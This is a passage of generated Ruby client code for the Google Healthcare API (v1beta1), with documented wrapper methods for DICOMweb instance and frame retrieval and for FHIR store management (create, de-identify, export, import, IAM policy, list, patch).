# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_dicom_store_study_series_instance(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveInstance returns instance associated with the given study, series,
# and SOP Instance UID. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveInstance DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_instance_instance(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveInstanceMetadata returns instance associated with the given study,
# series, and SOP Instance UID presented as metadata with the bulk data
# removed. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveInstanceMetadata DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid`/metadata`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_instance_metadata(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveRenderedInstance returns instance associated with the given study,
# series, and SOP Instance UID in an acceptable Rendered Media Type. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveRenderedInstance DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid`/rendered`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_instance_rendered(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveFrames returns instances associated with the given study, series,
# SOP Instance UID and frame numbers. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveFrames DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid`/frames/`
# frame_list``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_instance_frame_frames(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveRenderedFrames returns instances associated with the given study,
# series, SOP Instance UID and frame numbers in an acceptable Rendered Media
# Type. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveRenderedFrames DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid`/frames/`
# frame_list`/rendered`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_instance_frame_rendered(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new FHIR store within the parent dataset.
# @param [String] parent
# The name of the dataset this FHIR store belongs to.
# @param [Google::Apis::HealthcareV1beta1::FhirStore] fhir_store_object
# @param [String] fhir_store_id
# The ID of the FHIR store that is being created.
# The string must match the following regex: `[\p`L`\p`N`_\-\.]`1,256``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::FhirStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::FhirStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_dataset_fhir_store(parent, fhir_store_object = nil, fhir_store_id: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/fhirStores', options)
command.request_representation = Google::Apis::HealthcareV1beta1::FhirStore::Representation
command.request_object = fhir_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::FhirStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::FhirStore
command.params['parent'] = parent unless parent.nil?
command.query['fhirStoreId'] = fhir_store_id unless fhir_store_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new FHIR store containing de-identified data from the source
# store. The metadata field type
# is OperationMetadata.
# If the request is successful, the
# response field type is
# DeidentifyFhirStoreSummary. If errors occur,
# error
# details field type is
# DeidentifyErrorDetails.
# Errors are also logged to Stackdriver
# (see [Viewing logs](/healthcare/docs/how-tos/stackdriver-logging)).
# @param [String] source_store
# Source FHIR store resource name. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# fhirStores/`fhir_store_id``.
# @param [Google::Apis::HealthcareV1beta1::DeidentifyFhirStoreRequest] deidentify_fhir_store_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def deidentify_fhir_store(source_store, deidentify_fhir_store_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+sourceStore}:deidentify', options)
command.request_representation = Google::Apis::HealthcareV1beta1::DeidentifyFhirStoreRequest::Representation
command.request_object = deidentify_fhir_store_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['sourceStore'] = source_store unless source_store.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes the specified FHIR store and removes all resources within it.
# @param [String] name
# The resource name of the FHIR store to delete.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_fhir_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Export resources from the FHIR store to the specified destination.
# This method returns an Operation that can
# be used to track the status of the export by calling
# GetOperation.
# Immediate fatal errors appear in the
# error field, errors are also logged
# to Stackdriver (see [Viewing
# logs](/healthcare/docs/how-tos/stackdriver-logging)).
# Otherwise, when the operation finishes, a detailed response of type
# ExportResourcesResponse is returned in the
# response field.
# The metadata field type for this
# operation is OperationMetadata.
# @param [String] name
# The name of the FHIR store to export resource from. The name should be in
# the format of
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# fhirStores/`fhir_store_id``.
# @param [Google::Apis::HealthcareV1beta1::ExportResourcesRequest] export_resources_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def export_fhir_store_resources(name, export_resources_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:export', options)
command.request_representation = Google::Apis::HealthcareV1beta1::ExportResourcesRequest::Representation
command.request_object = export_resources_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the configuration of the specified FHIR store.
# @param [String] name
# The resource name of the FHIR store to get.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::FhirStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::FhirStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_fhir_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::FhirStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::FhirStore
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the access control policy for a resource.
# Returns an empty policy if the resource exists and does not have a policy
# set.
# @param [String] resource
# REQUIRED: The resource for which the policy is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Fixnum] options_requested_policy_version
# Optional. The policy format version to be returned.
# Valid values are 0, 1, and 3. Requests specifying an invalid value will be
# rejected.
# Requests for policies with any conditional bindings must specify version 3.
# Policies without any conditional bindings may specify any valid value or
# leave the field unset.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_fhir_store_iam_policy(resource, options_requested_policy_version: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+resource}:getIamPolicy', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['options.requestedPolicyVersion'] = options_requested_policy_version unless options_requested_policy_version.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Import resources to the FHIR store by loading data from the specified
# sources. This method is optimized to load large quantities of data using
# import semantics that ignore some FHIR store configuration options and are
# not suitable for all use cases. It is primarily intended to load data into
# an empty FHIR store that is not being used by other clients. In cases
# where this method is not appropriate, consider using ExecuteBundle to
# load data.
# Every resource in the input must contain a client-supplied ID, and will be
# stored using that ID regardless of the
# enable_update_create setting on the FHIR
# store.
# The import process does not enforce referential integrity, regardless of
# the
# disable_referential_integrity
# setting on the FHIR store. This allows the import of resources with
# arbitrary interdependencies without considering grouping or ordering, but
# if the input data contains invalid references or if some resources fail to
# be imported, the FHIR store might be left in a state that violates
# referential integrity.
# If a resource with the specified ID already exists, the most recent
# version of the resource is overwritten without creating a new historical
# version, regardless of the
# disable_resource_versioning
# setting on the FHIR store. If transient failures occur during the import,
# it is possible that successfully imported resources will be overwritten
# more than once.
# The import operation is idempotent unless the input data contains multiple
# valid resources with the same ID but different contents. In that case,
# after the import completes, the store will contain exactly one resource
# with that ID but there is no ordering guarantee on which version of the
# contents it will have. The operation result counters do not count
# duplicate IDs as an error and will count one success for each resource in
# the input, which might result in a success count larger than the number
# of resources in the FHIR store. This often occurs when importing data
# organized in bundles produced by Patient-everything
# where each bundle contains its own copy of a resource such as Practitioner
# that might be referred to by many patients.
# If some resources fail to import, for example due to parsing errors,
# successfully imported resources are not rolled back.
# The location and format of the input data is specified by the parameters
# below. Note that if no format is specified, this method assumes the
# `BUNDLE` format. When using the `BUNDLE` format this method ignores the
# `Bundle.type` field, except that `history` bundles are rejected, and does
# not apply any of the bundle processing semantics for batch or transaction
# bundles. Unlike in ExecuteBundle, transaction bundles are not executed
# as a single transaction and bundle-internal references are not rewritten.
# The bundle is treated as a collection of resources to be written as
# provided in `Bundle.entry.resource`, ignoring `Bundle.entry.request`. As
# an example, this allows the import of `searchset` bundles produced by a
# FHIR search or
# Patient-everything operation.
# This method returns an Operation that can
# be used to track the status of the import by calling
# GetOperation.
# Immediate fatal errors appear in the
# error field, errors are also logged
# to Stackdriver (see [Viewing
# logs](/healthcare/docs/how-tos/stackdriver-logging)). Otherwise, when the
# operation finishes, a detailed response of type ImportResourcesResponse
# is returned in the response field.
# The metadata field type for this
# operation is OperationMetadata.
# @param [String] name
# The name of the FHIR store to import FHIR resources to. The name should be
# in the format of
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# fhirStores/`fhir_store_id``.
# @param [Google::Apis::HealthcareV1beta1::ImportResourcesRequest] import_resources_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def import_fhir_store_resources(name, import_resources_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:import', options)
command.request_representation = Google::Apis::HealthcareV1beta1::ImportResourcesRequest::Representation
command.request_object = import_resources_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists the FHIR stores in the given dataset.
# @param [String] parent
# Name of the dataset.
# @param [String] filter
# Restricts stores returned to those matching a filter. Syntax:
# https://cloud.google.com/appengine/docs/standard/python/search/query_strings
# Only filtering on labels is supported, for example `labels.key=value`.
# @param [Fixnum] page_size
# Limit on the number of FHIR stores to return in a single response. If zero
# the default page size of 100 is used.
# @param [String] page_token
# The next_page_token value returned from the previous List request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListFhirStoresResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListFhirStoresResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_dataset_fhir_stores(parent, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/fhirStores', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListFhirStoresResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListFhirStoresResponse
command.params['parent'] = parent unless parent.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the configuration of the specified FHIR store.
# @param [String] name
# Output only. Resource name of the FHIR store, of the form
# `projects/`project_id`/datasets/`dataset_id`/fhirStores/`fhir_store_id``.
# @param [Google::Apis::HealthcareV1beta1::FhirStore] fhir_store_object
# @param [String] update_mask
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#
# fieldmask
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::FhirStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::FhirStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset_fhir_store(name, fhir_store_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::FhirStore::Representation
command.request_object = fhir_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::FhirStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::FhirStore
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Sets the access control policy on the specified resource. Replaces any
# existing policy.
# Can return Public Errors: NOT_FOUND, INVALID_ARGUMENT and PERMISSION_DENIED
# @param [String] resource
# REQUIRED: The resource for which the policy is being specified.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::SetIamPolicyRequest] set_iam_policy_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_fhir_store_iam_policy(resource, set_iam_policy_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:setIamPolicy', options)
command.request_representation = Google::Apis::HealthcareV1beta1::SetIamPolicyRequest::Representation
command.request_object = set_iam_policy_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Returns permissions that a caller has on the specified resource.
# If the resource does not exist, this will return an empty set of
# permissions, not a NOT_FOUND error.
# Note: This operation is designed to be used for building permission-aware
# UIs and command-line tools, not for authorization checking. This operation
# may "fail open" without warning.
# @param [String] resource
# REQUIRED: The resource for which the policy detail is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest] test_iam_permissions_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def test_fhir_store_iam_permissions(resource, test_iam_permissions_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:testIamPermissions', options)
command.request_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest::Representation
command.request_object = test_iam_permissions_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Retrieves the N most recent `Observation` resources for a subject matching
# search criteria specified as query parameters, grouped by
# `Observation.code`, sorted from most recent to oldest.
# Implements the FHIR extended operation
# [Observation-lastn](http://hl7.org/implement/standards/fhir/STU3/observation-
# operations.html#lastn).
# Search terms are provided as query parameters following the same pattern as
# the search method. The following search parameters must
# be provided:
# - `subject` or `patient` to specify a subject for the Observation.
# - `code`, `category` or any of the composite parameters that include
# `code`.
# Any other valid Observation search parameters can also be provided. This
# operation accepts an additional query parameter `max`, which specifies N,
# the maximum number of Observations to return from each group, with a
# default of 1.
# Searches with over 1000 results are rejected. Results are counted before
# grouping and limiting the results with `max`. To stay within the limit,
